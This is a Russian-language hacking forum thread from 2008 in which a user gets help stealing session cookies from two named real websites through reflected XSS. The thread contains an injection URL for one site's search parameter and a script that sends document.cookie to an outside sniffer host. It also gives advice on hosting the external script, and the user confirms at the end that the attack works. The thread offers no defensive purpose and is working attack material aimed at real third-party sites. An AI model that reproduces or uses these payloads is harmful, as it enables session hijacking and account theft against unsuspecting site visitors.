HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Помогите разобраться с Xss
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Помогите разобраться с Xss
  #1  
Старый 02.05.2008, 16:27
AARON
Участник форума
Регистрация: 29.04.2008
Сообщений: 106
С нами: 9492068

Репутация: 46
По умолчанию Помогите разобраться с Xss
Здравствуйте, товарисчи!

Помогите плз разобраться с XSS. Перечитал по инета... Не работает.

Значит проблема такова: нашел я туеву хучу сайтов с пассивными xss. Алерт есть, вроде нихрена не фильтруется...

Вот пару сайтов.

www.pit-pc.ru
www.softoman.ru

Зарегил сниффер на s.netsec.ru. Логин у меня там nick_314

составил соотв. запрос

<script>img = new Image(); img.src = "http://s.netsec.ru/Nick_314.gif?"+document.cookie;</script>

Сам перехожу по ссылке... По идее должен переходить мой sess_id, а вот хрен. Не пашет...

Переводил в char - не приходит... Просвятите ламера, что не так?
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 02.05.2008, 16:37
AARON
Участник форума
Регистрация: 29.04.2008
Сообщений: 106
С нами: 9492068

Репутация: 46
По умолчанию
Извините, перепутал раздел... Переместите , пожалуйста.
 
Ответить с цитированием

  #3  
Старый 04.05.2008, 19:02
DimOnOID
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами: 10226672

Репутация: 441
По умолчанию
допустим на pit-pc.ru фильтурет ковычки....
сделай проще

http://www.pit-pc.ru/index.php?searchstring="><SCRIPT SRC=http://твойсайт.ru/js.js></SCRIPT>

где содержание js.js
допустим такое
Код:
img = new Image(); img.src = "http://s.netsec.ru/nick_314.gif?"+document.cookie;
 
Ответить с цитированием

  #4  
Старый 04.05.2008, 19:13
desTiny
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
С нами: 10139366

Репутация: 1502


По умолчанию
Цитата:
Сообщение от DimOnOID  
допустим на pit-pc.ru фильтурет ковычки....
Цитата:
Сообщение от DimOnOID  
http://www.pit-pc.ru/index.php?searchstring="><SCRIPT SRC=http://твойсайт.ru/js.js></SCRIPT>
Ты странный ...
searchstring="><
__________________
Bedankt euch dafür bei euch selbst.

H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
 
Ответить с цитированием

  #5  
Старый 04.05.2008, 20:00
DimOnOID
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами: 10226672

Репутация: 441
По умолчанию
в код глянь...=\
 
Ответить с цитированием

  #6  
Старый 04.05.2008, 22:40
AARON
Участник форума
Регистрация: 29.04.2008
Сообщений: 106
С нами: 9492068

Репутация: 46
По умолчанию
Спасибо большое, сейчас попробую.
 
Ответить с цитированием

  #7  
Старый 04.05.2008, 23:15
AARON
Участник форума
Регистрация: 29.04.2008
Сообщений: 106
С нами: 9492068

Репутация: 46
По умолчанию
Значит попробовал. Результат - ноль...

ЗАрегился я по-быстренькому на Holm.ru
http://www.angryhacker.h18.ru

Залил Js.js

Цитата:
img = new Image(); img.src = "http://s.netsec.ru/nick_314.gif?"+document.cookie;
Делаю соотв. запрос

http://www.pit-pc.ru/index.php?searchstring="><SCRIPT SRC=http://www.angryhacker.h18.ru/js.js></SCRIPT>

Не работает. Грешу на holm.ru...
Последний раз редактировалось AARON; 04.05.2008 в 23:18..
 
Ответить с цитированием

  #8  
Старый 05.05.2008, 00:14
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
С нами: 11020706

Репутация: 4693


По умолчанию
Nick_314 - с большой или маленькой буквы? Просто захожу на http://s.netsec.ru/nick_314.gif - там ничего нет.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #9  
Старый 05.05.2008, 00:50
DimOnOID
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами: 10226672

Репутация: 441
По умолчанию
Проверь ещё раз всё хорошенько)..всё должно работать)......ну на крайний зарегай на tu1.ru )
 
Ответить с цитированием

  #10  
Старый 06.05.2008, 15:08
AARON
Участник форума
Регистрация: 29.04.2008
Сообщений: 106
С нами: 9492068

Репутация: 46
По умолчанию
Все, разобрался. Теперь работает. Как выяснилось, логин nick_314 почему-то не работал... Я просто зарегил новый и теперь все тип-топ!

Спасибо за помошь, можно закрывать.
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Купил Asus 1814bl. Читает, а не пишет. Помогите разобраться. ООЧЕНЬ ПРОШУ Хелпер Болталка 2 05.01.2008 06:16
Помогите с Xss TRv2 Уязвимости 11 04.10.2007 16:27
Помогите разобраться с угоном Аськи seeattact Skype, IRC, ICQ, Jabber и другие IM 5 17.01.2006 03:14
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.